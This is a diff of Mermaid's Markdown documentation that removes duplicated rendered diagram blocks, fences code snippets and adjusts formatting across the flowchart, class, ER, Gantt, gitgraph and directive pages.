Rel(ma, sign, "Uses", "JSON/HTTPS")
|
||||
Rel(ma, accounts, "Uses", "JSON/HTTPS")
|
||||
|
||||
UpdateRelStyle(spa, sign, $offsetY="-40")
|
||||
UpdateRelStyle(spa, accounts, $offsetX="40", $offsetY="40")
|
||||
|
||||
UpdateRelStyle(ma, sign, $offsetX="-90", $offsetY="40")
|
||||
UpdateRelStyle(ma, accounts, $offsetY="-40")
|
||||
|
||||
UpdateRelStyle(sign, security, $offsetX="-160", $offsetY="10")
|
||||
UpdateRelStyle(accounts, mbsfacade, $offsetX="140", $offsetY="10")
|
||||
UpdateRelStyle(security, db, $offsetY="-40")
|
||||
UpdateRelStyle(mbsfacade, mbs, $offsetY="-40")
|
||||
|
||||
```
|
||||
|
||||
## C4 Dynamic diagram (C4Dynamic)
|
||||
|
||||
```mermaid-example
|
||||
|
||||
@@ -500,33 +500,17 @@ classDiagram
|
||||
Student "1" --o "1" Bike : rides
|
||||
```
|
||||
|
||||
```mermaid
|
||||
classDiagram
|
||||
direction RL
|
||||
class Student {
|
||||
-idCard : IdCard
|
||||
}
|
||||
class IdCard{
|
||||
-id : int
|
||||
-name : string
|
||||
}
|
||||
class Bike{
|
||||
-id : int
|
||||
-name : string
|
||||
}
|
||||
Student "1" --o "1" IdCard : carries
|
||||
Student "1" --o "1" Bike : rides
|
||||
```
|
||||
|
||||
## Interaction
|
||||
|
||||
It is possible to bind a click event to a node. The click can lead to either a javascript callback or to a link which will be opened in a new browser tab. **Note**: This functionality is disabled when using `securityLevel='strict'` and enabled when using `securityLevel='loose'`.
|
||||
|
||||
You would define these actions on a separate line after all classes have been declared.
|
||||
|
||||
action className "reference" "tooltip"
|
||||
click className call callback() "tooltip"
|
||||
click className href "url" "tooltip"
|
||||
```
|
||||
action className "reference" "tooltip"
|
||||
click className call callback() "tooltip"
|
||||
click className href "url" "tooltip"
|
||||
```
|
||||
|
||||
- _action_ is either `link` or `callback`, depending on which type of interaction you want to have called
|
||||
- _className_ is the id of the node that the action will be associated with
|
||||
|
||||
@@ -28,7 +28,7 @@ We make all changes via Pull Requests. As we have many Pull Requests from develo
|
||||
|
||||
- Large changes reviewed by knsv or other developer asked to review by knsv
|
||||
- Smaller, low-risk changes like dependencies, documentation, etc. can be merged by active collaborators
|
||||
- Documentation (we encourage updates to the `src/docs` folder; you can submit them via direct commits)
|
||||
- Documentation (we encourage updates to the docs folder; you can submit them via direct commits)
|
||||
|
||||
When you commit code, create a branch with the following naming convention:
|
||||
|
||||
@@ -72,9 +72,9 @@ This tests the rendering and visual appearance of the diagrams. This ensures tha
|
||||
|
||||
To start working with the e2e tests:
|
||||
|
||||
1. Run `yarn dev` to start the dev server
|
||||
2. Start **Cypress** by running `cypress open` in the **mermaid** folder.\
|
||||
(Make sure you have path to Cypress in order, the binary is located in `node_modules/.bin`).
|
||||
1. Run `yarn dev` to start the dev server
|
||||
2. Start **Cypress** by running `cypress open` in the **mermaid** folder.
|
||||
(Make sure you have path to Cypress in order, the binary is located in `node_modules/.bin`).
|
||||
|
||||
The rendering tests are very straightforward to create. There is a function `imgSnapshotTest`, which takes a diagram in text form and the mermaid options, and it renders that diagram in Cypress.
|
||||
|
||||
|
||||
@@ -154,11 +154,6 @@ graph LR
|
||||
id1>This is the text in the box]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
id1>This is the text in the box]
|
||||
```
|
||||
|
||||
Currently it is only possible to render the shape above, and not its mirror. _This might change with future releases._
|
||||
|
||||
### A node (rhombus)
|
||||
@@ -192,11 +187,6 @@ graph TD
|
||||
id1[/This is the text in the box/]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TD
|
||||
id1[/This is the text in the box/]
|
||||
```
|
||||
|
||||
### Parallelogram alt
|
||||
|
||||
```mermaid-example
|
||||
@@ -216,11 +206,6 @@ graph TD
|
||||
A[/Christmas\]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TD
|
||||
A[/Christmas\]
|
||||
```
|
||||
|
||||
### Trapezoid alt
|
||||
|
||||
```mermaid-example
|
||||
@@ -390,11 +375,6 @@ graph TB
|
||||
A & B--> C & D
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TB
|
||||
A & B--> C & D
|
||||
```
|
||||
|
||||
If you describe the same diagram using the the basic syntax, it will take four lines:
|
||||
|
||||
```mmd
|
||||
@@ -559,20 +539,6 @@ graph TB
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TB
|
||||
c1-->a2
|
||||
subgraph one
|
||||
a1-->a2
|
||||
end
|
||||
subgraph two
|
||||
b1-->b2
|
||||
end
|
||||
subgraph three
|
||||
c1-->c2
|
||||
end
|
||||
```
|
||||
|
||||
You can also set an explicit id for the subgraph:
|
||||
|
||||
```mermaid-example
|
||||
@@ -583,14 +549,6 @@ graph TB
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TB
|
||||
c1-->a2
|
||||
subgraph ide1 [one]
|
||||
a1-->a2
|
||||
end
|
||||
```
|
||||
|
||||
## Flowcharts
|
||||
|
||||
With the graphtype `flowchart` it is also possible to set edges to and from subgraphs:
|
||||
@@ -612,23 +570,6 @@ flowchart TB
|
||||
two --> c2
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
c1-->a2
|
||||
subgraph one
|
||||
a1-->a2
|
||||
end
|
||||
subgraph two
|
||||
b1-->b2
|
||||
end
|
||||
subgraph three
|
||||
c1-->c2
|
||||
end
|
||||
one --> two
|
||||
three --> two
|
||||
two --> c2
|
||||
```
|
||||
|
||||
## Interaction
|
||||
|
||||
A node can have click events bound that lead to either a JavaScript callback or to open a new browser tab. **Note**: This functionality is disabled when using `securityLevel='strict'` and enabled when using `securityLevel='loose'`.
|
||||
@@ -662,17 +603,6 @@ graph LR;
|
||||
click B href "https://www.github.com" "This is a tooltip for a link"
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR;
|
||||
A-->B;
|
||||
B-->C;
|
||||
C-->D;
|
||||
click A callback "Tooltip for a callback"
|
||||
click B "https://www.github.com" "This is a tooltip for a link"
|
||||
click A call callback() "Tooltip for a callback"
|
||||
click B href "https://www.github.com" "This is a tooltip for a link"
|
||||
```
|
||||
|
||||
> **Success** The tooltip functionality and the ability to link to urls are available from version 0.5.2.
|
||||
|
||||
?> Due to limitations with how Docsify handles JavaScript callback functions, an alternate working demo for the above code can be viewed at [this jsfiddle](https://jsfiddle.net/s37cjoau/3/).
|
||||
@@ -782,13 +712,6 @@ graph LR
|
||||
style id2 fill:#bbf,stroke:#f66,stroke-width:2px,color:#fff,stroke-dasharray: 5 5
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
id1(Start)-->id2(Stop)
|
||||
style id1 fill:#f9f,stroke:#333,stroke-width:4px
|
||||
style id2 fill:#bbf,stroke:#f66,stroke-width:2px,color:#fff,stroke-dasharray: 5 5
|
||||
```
|
||||
|
||||
#### Classes
|
||||
|
||||
More convenient than defining the style every time is to define a class of styles and attach this class reference to multiple nodes.
|
||||
@@ -813,12 +736,6 @@ graph LR
|
||||
classDef someclass fill:#f96;
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
A:::someclass --> B
|
||||
classDef someclass fill:#f96;
|
||||
```
|
||||
|
||||
### Css classes
|
||||
|
||||
It is also possible to predefine classes in css styles that can be applied from the graph definition:
|
||||
@@ -842,18 +759,13 @@ graph LR;
|
||||
class A cssClass;
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR;
|
||||
A-->B[AAA<span>BBB</span>];
|
||||
B-->D;
|
||||
class A cssClass;
|
||||
```
|
||||
|
||||
### Default class
|
||||
|
||||
If a class is named `default` it will be assigned to all nodes that do not have a specific class definition.
|
||||
|
||||
classDef default fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
```
|
||||
classDef default fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
```
|
||||
|
||||
## Basic support for fontawesome
|
||||
|
||||
@@ -867,14 +779,6 @@ graph TD
|
||||
B-->E(A fa:fa-camera-retro perhaps?);
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TD
|
||||
B["fa:fa-twitter for peace"]
|
||||
B-->C[fa:fa-ban forbidden]
|
||||
B-->D(fa:fa-spinner);
|
||||
B-->E(A fa:fa-camera-retro perhaps?);
|
||||
```
|
||||
|
||||
## Graph declarations with spaces between vertices and link and without semicolon
|
||||
|
||||
- After release 0.2.16, graph declaration statements do not need to end with a semicolon. (And they can continue to have the ending semicolon—it has now just become optional.) So the below graph declaration is valid along with the old declarations.
|
||||
@@ -891,14 +795,6 @@ graph LR
|
||||
C -->|Two| E[Result two]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
A[Hard edge] -->|Link text| B(Round edge)
|
||||
B --> C{Decision}
|
||||
C -->|One| D[Result one]
|
||||
C -->|Two| E[Result two]
|
||||
```
|
||||
|
||||
## Configuration...
|
||||
|
||||
Is it possible to adjust the width of the rendered flowchart.
|
||||
|
||||
@@ -14,7 +14,7 @@ While directives allow you to change most of the default configuration settings,
|
||||
|
||||
Mermaid basically supports two types of configuration options to be overridden by directives.
|
||||
|
||||
1. _General/Top Level configurations_ : These are the configurations that are available and applied to all the diagram. **Some of the most important top-level** configurations are:
|
||||
1. _General/Top Level configurations_ : These are the configurations that are available and applied to all the diagram. **Some of the most important top-level** configurations are:
|
||||
|
||||
- theme
|
||||
- fontFamily
|
||||
@@ -23,13 +23,15 @@ Mermaid basically supports two types of configuration options to be overridden b
|
||||
- startOnLoad
|
||||
- secure
|
||||
|
||||
2. _Diagram specific configurations_ : These are the configurations that are available and applied to a specific diagram. For each diagram there are specific configuration that will alter how that particular diagram looks and behaves.
|
||||
For example, `mirrorActors` is a configuration that is specific to the `SequenceDiagram` and alter whether the actors are mirrored or not. So this config is available only for the `SequenceDiagram` type.
|
||||
2. _Diagram specific configurations_ : These are the configurations that are available and applied to a specific diagram. For each diagram there are specific configuration that will alter how that particular diagram looks and behaves.
|
||||
For example, `mirrorActors` is a configuration that is specific to the `SequenceDiagram` and alter whether the actors are mirrored or not. So this config is available only for the `SequenceDiagram` type.
|
||||
|
||||
**NOTE:** These options listed here are not all the configuration options. To get hold of all the configuration options, please refer to the [defaultConfig.js](https://github.com/mermaid-js/mermaid/blob/develop/src/defaultConfig.js) in the source code.
|
||||
|
||||
Soon we plan to publish a complete list of top-level configurations & all the diagram specific configurations,
|
||||
with their possible values in the docs
|
||||
```
|
||||
Soon we plan to publish a complete list of top-level configurations & all the diagram specific configurations,
|
||||
with their possible values in the docs
|
||||
```
|
||||
|
||||
## Declaring directives
|
||||
|
||||
@@ -40,28 +42,34 @@ Here the structure of a directive text is like a nested key-value pair map or a
|
||||
|
||||
Following code snippet shows the structure of a directive:
|
||||
|
||||
%%{
|
||||
init: {
|
||||
"theme": "dark",
|
||||
"fontFamily": "monospace",
|
||||
"logLevel": "info",
|
||||
"flowchart": {
|
||||
"htmlLabels": true,
|
||||
"curve": "linear"
|
||||
},
|
||||
"sequence": {
|
||||
"mirrorActors": true
|
||||
}
|
||||
}
|
||||
}%%
|
||||
```
|
||||
%%{
|
||||
init: {
|
||||
"theme": "dark",
|
||||
"fontFamily": "monospace",
|
||||
"logLevel": "info",
|
||||
"flowchart": {
|
||||
"htmlLabels": true,
|
||||
"curve": "linear"
|
||||
},
|
||||
"sequence": {
|
||||
"mirrorActors": true
|
||||
}
|
||||
}
|
||||
}%%
|
||||
```
|
||||
|
||||
You can also define the directives in a single line, like this:
|
||||
|
||||
%%{init: { **insert argument here**}}%%
|
||||
```
|
||||
%%{init: { **insert argument here**}}%%
|
||||
```
|
||||
|
||||
For example, the following code snippet:
|
||||
|
||||
%%{init: { "sequence": { "mirrorActors":false }}}%%
|
||||
```
|
||||
%%{init: { "sequence": { "mirrorActors":false }}}%%
|
||||
```
|
||||
|
||||
**Notes:**
|
||||
The json object that is passed as {**argument** } must be valid key value pairs and encased in quotation marks or it will be ignored.
|
||||
@@ -244,17 +252,6 @@ A --> C[End]
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { "flowchart": { "htmlLabels": true, "curve": "linear" } } }%%
|
||||
graph TD
|
||||
A(Forest) --> B[/Another/]
|
||||
A --> C[End]
|
||||
subgraph section
|
||||
B
|
||||
C
|
||||
end
|
||||
```
|
||||
|
||||
### Changing Sequence diagram config via directive
|
||||
|
||||
Some common sequence configurations are:
|
||||
@@ -309,12 +306,3 @@ Bob->Alice: Fine, How did you mother like the book I suggested? And did you catc
|
||||
Alice->Bob: Good.
|
||||
Bob->Alice: Cool
|
||||
```
|
||||
|
||||
```mermaid
|
||||
%%{init: { "sequence": { "wrap": true, "width":300 } } }%%
|
||||
sequenceDiagram
|
||||
Alice->Bob: Hello Bob, how are you?
|
||||
Bob->Alice: Fine, How did you mother like the book I suggested? And did you catch with the new book about alien invasion?
|
||||
Alice->Bob: Good.
|
||||
Bob->Alice: Cool
|
||||
```
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
# Entity Relationship Diagrams
|
||||
|
||||
**Edit this Page** [](https://github.com/mermaid-js/mermaid/blob/develop/docs/entityRelationshipDiagram.md)
|
||||
|
||||
> An entity–relationship model (or ER model) describes interrelated things of interest in a specific domain of knowledge. A basic ER model is composed of entity types (which classify the things of interest) and specifies relationships that can exist between entities (instances of those entity types). Wikipedia.
|
||||
|
||||
Note that practitioners of ER modelling almost always refer to _entity types_ simply as _entities_. For example the `CUSTOMER` entity _type_ would be referred to simply as the `CUSTOMER` entity. This is so common it would be inadvisable to do anything else, but technically an entity is an abstract _instance_ of an entity type, and this is what an ER diagram shows - abstract instances, and the relationships between them. This is why entities are always named using singular nouns.
|
||||
@@ -48,26 +50,6 @@ erDiagram
|
||||
}
|
||||
```
|
||||
|
||||
```mermaid
|
||||
erDiagram
|
||||
CUSTOMER ||--o{ ORDER : places
|
||||
CUSTOMER {
|
||||
string name
|
||||
string custNumber
|
||||
string sector
|
||||
}
|
||||
ORDER ||--|{ LINE-ITEM : contains
|
||||
ORDER {
|
||||
int orderNumber
|
||||
string deliveryAddress
|
||||
}
|
||||
LINE-ITEM {
|
||||
string productCode
|
||||
int quantity
|
||||
float pricePerUnit
|
||||
}
|
||||
```
|
||||
|
||||
When including attributes on ER diagrams, you must decide whether to include foreign keys as attributes. This probably depends on how closely you are trying to represent relational table structures. If your diagram is a _logical_ model which is not meant to imply a relational implementation, then it is better to leave these out because the associative relationships already convey the way that entities are associated. For example, a JSON data structure can implement a one-to-many relationship without the need for foreign key properties, using arrays. Similarly an object-oriented programming language may use pointers or references to collections. Even for models that are intended for relational implementation, you might decide that inclusion of foreign key attributes duplicates information already portrayed by the relationships, and does not add meaning to entities. Ultimately, it's your choice.
|
||||
|
||||
## Syntax
|
||||
@@ -140,22 +122,6 @@ erDiagram
|
||||
}
|
||||
```
|
||||
|
||||
```mermaid
|
||||
erDiagram
|
||||
CAR ||--o{ NAMED-DRIVER : allows
|
||||
CAR {
|
||||
string registrationNumber
|
||||
string make
|
||||
string model
|
||||
}
|
||||
PERSON ||--o{ NAMED-DRIVER : is
|
||||
PERSON {
|
||||
string firstName
|
||||
string lastName
|
||||
int age
|
||||
}
|
||||
```
|
||||
|
||||
The attributes are rendered inside the entity boxes:
|
||||
|
||||
```mermaid-example
|
||||
@@ -174,22 +140,6 @@ erDiagram
|
||||
}
|
||||
```
|
||||
|
||||
```mermaid
|
||||
erDiagram
|
||||
CAR ||--o{ NAMED-DRIVER : allows
|
||||
CAR {
|
||||
string registrationNumber
|
||||
string make
|
||||
string model
|
||||
}
|
||||
PERSON ||--o{ NAMED-DRIVER : is
|
||||
PERSON {
|
||||
string firstName
|
||||
string lastName
|
||||
int age
|
||||
}
|
||||
```
|
||||
|
||||
The `type` and `name` values must begin with an alphabetic character and may contain digits, hyphens or underscores. Other than that, there are no restrictions, and there is no implicit set of valid data types.
|
||||
|
||||
#### Attribute Keys and Comments
|
||||
|
||||
@@ -16,12 +16,6 @@ pie title NETFLIX
|
||||
"Time spent watching it" : 10
|
||||
```
|
||||
|
||||
```mermaid
|
||||
pie title NETFLIX
|
||||
"Time spent looking for movie" : 90
|
||||
"Time spent watching it" : 10
|
||||
```
|
||||
|
||||
```mermaid-example
|
||||
pie title What Voldemort doesn't have?
|
||||
"FRIENDS" : 2
|
||||
@@ -29,13 +23,6 @@ pie title What Voldemort doesn't have?
|
||||
"NOSE" : 45
|
||||
```
|
||||
|
||||
```mermaid
|
||||
pie title What Voldemort doesn't have?
|
||||
"FRIENDS" : 2
|
||||
"FAMILY" : 3
|
||||
"NOSE" : 45
|
||||
```
|
||||
|
||||
## Basic sequence diagram
|
||||
|
||||
```mermaid-example
|
||||
@@ -72,14 +59,6 @@ graph LR
|
||||
C --> D
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph LR
|
||||
A[Square Rect] -- Link text --> B((Circle))
|
||||
A --> C(Round Rect)
|
||||
B --> D{Rhombus}
|
||||
C --> D
|
||||
```
|
||||
|
||||
## Larger flowchart with some styling
|
||||
|
||||
```mermaid-example
|
||||
@@ -106,30 +85,6 @@ graph TB
|
||||
class di orange
|
||||
```
|
||||
|
||||
```mermaid
|
||||
graph TB
|
||||
sq[Square shape] --> ci((Circle shape))
|
||||
|
||||
subgraph A
|
||||
od>Odd shape]-- Two line<br/>edge comment --> ro
|
||||
di{Diamond with <br/> line break} -.-> ro(Rounded<br>square<br>shape)
|
||||
di==>ro2(Rounded square shape)
|
||||
end
|
||||
|
||||
%% Notice that no text in shape are added here instead that is appended further down
|
||||
e --> od3>Really long text with linebreak<br>in an Odd shape]
|
||||
|
||||
%% Comments after double percent signs
|
||||
e((Inner / circle<br>and some odd <br>special characters)) --> f(,.?!+-*ز)
|
||||
|
||||
cyr[Cyrillic]-->cyr2((Circle shape Начало));
|
||||
|
||||
classDef green fill:#9f6,stroke:#333,stroke-width:2px;
|
||||
classDef orange fill:#f96,stroke:#333,stroke-width:4px;
|
||||
class sq,e green
|
||||
class di orange
|
||||
```
|
||||
|
||||
## SequenceDiagram: Loops, alt and opt
|
||||
|
||||
```mermaid-example
|
||||
@@ -148,22 +103,6 @@ sequenceDiagram
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
sequenceDiagram
|
||||
loop Daily query
|
||||
Alice->>Bob: Hello Bob, how are you?
|
||||
alt is sick
|
||||
Bob->>Alice: Not so good :(
|
||||
else is well
|
||||
Bob->>Alice: Feeling fresh like a daisy
|
||||
end
|
||||
|
||||
opt Extra response
|
||||
Bob->>Alice: Thanks for asking
|
||||
end
|
||||
end
|
||||
```
|
||||
|
||||
## SequenceDiagram: Message to self in loop
|
||||
|
||||
```mermaid-example
|
||||
@@ -262,22 +201,6 @@ sequenceDiagram
|
||||
|
||||
## A commit flow diagram.
|
||||
|
||||
```mermaid-example
|
||||
gitGraph:
|
||||
commit "Ashish"
|
||||
branch newbranch
|
||||
checkout newbranch
|
||||
commit id:"1111"
|
||||
commit tag:"test"
|
||||
checkout main
|
||||
commit type: HIGHLIGHT
|
||||
commit
|
||||
merge newbranch
|
||||
commit
|
||||
branch b2
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph:
|
||||
commit "Ashish"
|
||||
|
||||
@@ -145,11 +145,6 @@ flowchart LR
|
||||
id1>This is the text in the box]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
id1>This is the text in the box]
|
||||
```
|
||||
|
||||
Currently only the shape above is possible and not its mirror. _This might change with future releases._
|
||||
|
||||
### A node (rhombus)
|
||||
@@ -207,11 +202,6 @@ flowchart TD
|
||||
A[/Christmas\]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart TD
|
||||
A[/Christmas\]
|
||||
```
|
||||
|
||||
### Trapezoid alt
|
||||
|
||||
```mermaid-example
|
||||
@@ -393,11 +383,6 @@ flowchart TB
|
||||
A & B--> C & D
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
A & B--> C & D
|
||||
```
|
||||
|
||||
If you describe the same diagram using the the basic syntax, it will take four lines. A
|
||||
word of warning, one could go overboard with this making the flowchart harder to read in
|
||||
markdown form. The Swedish word `lagom` comes to mind. It means, not too much and not too little.
|
||||
@@ -421,12 +406,6 @@ flowchart LR
|
||||
B --x C
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A --o B
|
||||
B --x C
|
||||
```
|
||||
|
||||
### Multi directional arrows
|
||||
|
||||
There is the possibility to use multidirectional arrows.
|
||||
@@ -563,20 +542,6 @@ flowchart TB
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
c1-->a2
|
||||
subgraph one
|
||||
a1-->a2
|
||||
end
|
||||
subgraph two
|
||||
b1-->b2
|
||||
end
|
||||
subgraph three
|
||||
c1-->c2
|
||||
end
|
||||
```
|
||||
|
||||
You can also set an explicit id for the subgraph.
|
||||
|
||||
```mermaid-example
|
||||
@@ -587,14 +552,6 @@ flowchart TB
|
||||
end
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
c1-->a2
|
||||
subgraph ide1 [one]
|
||||
a1-->a2
|
||||
end
|
||||
```
|
||||
|
||||
## flowcharts
|
||||
|
||||
With the graphtype flowchart it is also possible to set edges to and from subgraphs as in the flowchart below.
|
||||
@@ -616,23 +573,6 @@ flowchart TB
|
||||
two --> c2
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart TB
|
||||
c1-->a2
|
||||
subgraph one
|
||||
a1-->a2
|
||||
end
|
||||
subgraph two
|
||||
b1-->b2
|
||||
end
|
||||
subgraph three
|
||||
c1-->c2
|
||||
end
|
||||
one --> two
|
||||
three --> two
|
||||
two --> c2
|
||||
```
|
||||
|
||||
## Direction in subgraphs
|
||||
|
||||
With the graphtype flowcharts you can use the direction statement to set the direction which the subgraph will render like in this example.
|
||||
@@ -654,23 +594,6 @@ flowchart LR
|
||||
B1 --> B2
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph TOP
|
||||
direction TB
|
||||
subgraph B1
|
||||
direction RL
|
||||
i1 -->f1
|
||||
end
|
||||
subgraph B2
|
||||
direction BT
|
||||
i2 -->f2
|
||||
end
|
||||
end
|
||||
A --> TOP --> B
|
||||
B1 --> B2
|
||||
```
|
||||
|
||||
## Interaction
|
||||
|
||||
It is possible to bind a click event to a node, the click can lead to either a javascript callback or to a link which will be opened in a new browser tab. **Note**: This functionality is disabled when using `securityLevel='strict'` and enabled when using `securityLevel='loose'`.
|
||||
@@ -821,13 +744,6 @@ flowchart LR
|
||||
style id2 fill:#bbf,stroke:#f66,stroke-width:2px,color:#fff,stroke-dasharray: 5 5
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
id1(Start)-->id2(Stop)
|
||||
style id1 fill:#f9f,stroke:#333,stroke-width:4px
|
||||
style id2 fill:#bbf,stroke:#f66,stroke-width:2px,color:#fff,stroke-dasharray: 5 5
|
||||
```
|
||||
|
||||
#### Classes
|
||||
|
||||
More convenient than defining the style every time is to define a class of styles and attach this class to the nodes that
|
||||
@@ -835,7 +751,9 @@ should have a different look.
|
||||
|
||||
a class definition looks like the example below:
|
||||
|
||||
classDef className fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
```
|
||||
classDef className fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
```
|
||||
|
||||
Attachment of a class to a node is done as per below:
|
||||
|
||||
@@ -853,12 +771,6 @@ flowchart LR
|
||||
classDef someclass fill:#f96;
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A:::someclass --> B
|
||||
classDef someclass fill:#f96;
|
||||
```
|
||||
|
||||
### Css classes
|
||||
|
||||
It is also possible to predefine classes in css styles that can be applied from the graph definition as in the example
|
||||
@@ -885,18 +797,13 @@ flowchart LR;
|
||||
class A cssClass
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR;
|
||||
A-->B[AAA<span>BBB</span>]
|
||||
B-->D
|
||||
class A cssClass
|
||||
```
|
||||
|
||||
### Default class
|
||||
|
||||
If a class is named default it will be assigned to all classes without specific class definitions.
|
||||
|
||||
classDef default fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
```
|
||||
classDef default fill:#f9f,stroke:#333,stroke-width:4px;
|
||||
```
|
||||
|
||||
## Basic support for fontawesome
|
||||
|
||||
@@ -920,8 +827,6 @@ flowchart TD
|
||||
B-->E(A fa:fa-camera-retro perhaps?)
|
||||
```
|
||||
|
||||
?> Mermaid is now only compatible with Font Awesome versions 4 and 5. Check that you are using the correct version of Font Awesome.
|
||||
|
||||
## Graph declarations with spaces between vertices and link and without semicolon
|
||||
|
||||
- In graph declarations, the statements also can now end without a semicolon. After release 0.2.16, ending a graph statement with semicolon is just optional. So the below graph declaration is also valid along with the old declarations of the graph.
|
||||
@@ -938,14 +843,6 @@ flowchart LR
|
||||
C -->|Two| E[Result two]
|
||||
```
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
A[Hard edge] -->|Link text| B(Round edge)
|
||||
B --> C{Decision}
|
||||
C -->|One| D[Result one]
|
||||
C -->|Two| E[Result two]
|
||||
```
|
||||
|
||||
## Configuration...
|
||||
|
||||
Is it possible to adjust the width of the rendered flowchart.
|
||||
|
||||
@@ -126,8 +126,6 @@ It is possible to set multiple dependencies separated by space:
|
||||
cherry :active, c, after b a, 1d
|
||||
```
|
||||
|
||||
### Title
|
||||
|
||||
The `title` is an _optional_ string to be displayed at the top of the Gantt chart to describe the chart as a whole.
|
||||
|
||||
### Section statements
|
||||
@@ -150,16 +148,6 @@ taska3 : 5min
|
||||
Final milestone : milestone, m2, 18:14, 2min
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gantt
|
||||
dateFormat HH:mm
|
||||
axisFormat %H:%M
|
||||
Initial milestone : milestone, m1, 17:49,2min
|
||||
taska2 : 10min
|
||||
taska3 : 5min
|
||||
Final milestone : milestone, m2, 18:14, 2min
|
||||
```
|
||||
|
||||
## Setting dates
|
||||
|
||||
`dateFormat` defines the format of the date **input** of your gantt elements. How these dates are represented in the rendered chart **output** are defined by `axisFormat`.
|
||||
|
||||
390
docs/gitgraph.md
390
docs/gitgraph.md
@@ -2,6 +2,8 @@
|
||||
|
||||
# Gitgraph Diagrams
|
||||
|
||||
**Edit this Page** [](https://github.com/mermaid-js/mermaid/blob/develop/docs/gitgraph.md)
|
||||
|
||||
> A Git Graph is a pictorial representation of git commits and git actions(commands) on various branches.
|
||||
|
||||
These kind of diagram are particularly helpful to developers and devops teams to share their Git branching strategies. For example, it makes it easier to visualize how git flow works.
|
||||
@@ -65,13 +67,6 @@ A simple gitgraph showing three commits on the default (**_main_**) branch:
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph
|
||||
commit
|
||||
commit
|
||||
commit
|
||||
```
|
||||
|
||||
If you look closely at the previous example, you can see the default branch `main` along with three commits. Also, notice that by default each commit has been given a unique & random ID. What if you wanted to give your own custom ID to a commit? Yes, it is possible to do that with Mermaid.
|
||||
|
||||
### Adding custom commit id
|
||||
@@ -181,16 +176,6 @@ Let see this in an example:
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph
|
||||
commit
|
||||
commit
|
||||
branch develop
|
||||
commit
|
||||
commit
|
||||
commit
|
||||
```
|
||||
|
||||
In this example, see how we started with default `main` branch, and pushed two commits on that.
|
||||
Then we created the `develop` branch, and all commits afterwards are put on the `develop` branch as it became the current branch.
|
||||
|
||||
@@ -215,19 +200,6 @@ Let see modify our previous example:
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph
|
||||
commit
|
||||
commit
|
||||
branch develop
|
||||
commit
|
||||
commit
|
||||
commit
|
||||
checkout main
|
||||
commit
|
||||
commit
|
||||
```
|
||||
|
||||
In this example, see how we started with default `main` branch, and pushed two commits on that.
|
||||
Then we created the `develop` branch, and all three commits afterwards are put on the `develop` branch as it became the current branch.
|
||||
After this we made use of the `checkout` keyword to set the current branch as `main`, and all commit that follow are registered against the current branch, i.e. `main`.
|
||||
@@ -258,22 +230,6 @@ Let us modify our previous example to merge our two branches:
|
||||
commit
|
||||
```
|
||||
|
||||
```mermaid
|
||||
gitGraph
|
||||
commit
|
||||
commit
|
||||
branch develop
|
||||
commit
|
||||
commit
|
||||
commit
|
||||
checkout main
|
||||
commit
|
||||
commit
|
||||
merge develop
|
||||
commit
|
||||
commit
|
||||
```
|
||||
|
||||
In this example, see how we started with default `main` branch, and pushed two commits on that.
|
||||
Then we created the `develop` branch, and all three commits afterwards are put on the `develop` branch as it became the current branch.
|
||||
After this we made use of the `checkout` keyword to set the current branch as `main`, and all commits that follow are registered against the current branch, i.e. `main`.
|
||||
@@ -353,9 +309,9 @@ Here, a new commit representing the cherry-pick is created on the current branch
|
||||
|
||||
A few important rules to note here are:
|
||||
|
||||
1. You need to provide the `id` for an existing commit to be cherry-picked. If given commit id does not exist it will result in an error. For this, make use of the `commit id:$value` format of declaring commits. See the examples from above.
|
||||
2. The given commit must not exist on the current branch. The cherry-picked commit must always be a different branch than the current branch.
|
||||
3. Current branch must have at least one commit, before you can cherry-pick, otherwise it will cause an error is throw.
|
||||
1. You need to provide the `id` for an existing commit to be cherry-picked. If given commit id does not exist it will result in an error. For this, make use of the `commit id:$value` format of declaring commits. See the examples from above.
|
||||
2. The given commit must not exist on the current branch. The cherry-picked commit must always be a different branch than the current branch.
|
||||
3. Current branch must have at least one commit, before you can cherry-pick, otherwise it will cause an error is throw.
|
||||
